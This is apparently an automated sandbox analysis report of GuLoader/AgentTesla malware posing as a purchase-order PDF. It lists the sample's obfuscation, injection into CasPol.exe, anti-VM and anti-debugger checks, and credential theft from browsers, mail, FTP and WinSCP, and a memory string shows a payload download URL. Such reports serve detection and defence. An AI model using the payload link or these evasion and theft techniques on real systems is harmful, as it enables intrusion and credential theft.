Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 0000000A.00000000.101282349186.0000000000A00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.101469724923.0000000002D80000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_00408C44 push ebp; ret 2_2_00408C45
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_0040686F pushad ; ret 2_2_004068B0
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_004078FD push ebx; ret 2_2_0040790B
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_004055C1 push ds; ret 2_2_004055DB
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_00409198 push edx; retf 2_2_0040919E
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_0040970C push ebp; iretd 2_2_0040970F
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Code function: 2_2_0040733E pushfd ; ret 2_2_00407359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E64B97 push edi; retn 0000h 10_2_00E64B99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6C762 push ds; ret 10_2_00E6C769
Source: initial sample Static PE information: section name: .text entropy: 7.13735500913

Persistence and Installation Behavior:

barindex
Creates processes with suspicious names
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File created: \210629 purchase order 449 burghausen (uz 20-270)_pdf.exe
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File created: \210629 purchase order 449 burghausen (uz 20-270)_pdf.exe
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File created: \210629 purchase order 449 burghausen (uz 20-270)_pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File created: \210629 purchase order 449 burghausen (uz 20-270)_pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: CasPol.exe, 0000000A.00000002.105876042787.0000000000DC0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1SW9PADFHXH64IJ3XW0UAFAPSES7O-X1G
Source: CasPol.exe, 0000000A.00000002.105876042787.0000000000DC0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 7164 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9949 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe System information queried: ModuleInformation Jump to behavior
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 0000000A.00000002.105876042787.0000000000DC0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 0000000A.00000002.105875208119.0000000000BF9000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 0000000A.00000002.105876042787.0000000000DC0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101470063799.0000000005009000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 0000000A.00000002.105877713405.00000000029C9000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_007199D0 LdrInitializeThunk, 10_2_007199D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe" Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe" Jump to behavior
Source: CasPol.exe, 0000000A.00000002.105877266492.0000000001570000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 0000000A.00000002.105877266492.0000000001570000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 0000000A.00000002.105877266492.0000000001570000.00000002.00020000.sdmp Binary or memory string: 5Program ManagerJt
Source: CasPol.exe, 0000000A.00000002.105877266492.0000000001570000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2268, type: MEMORYSTR
GuLoader behavior detected
Source: Initial file Signature Results: GuLoader behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2268, type: MEMORYSTR

Remote Access Functionality:

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Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2268, type: MEMORYSTR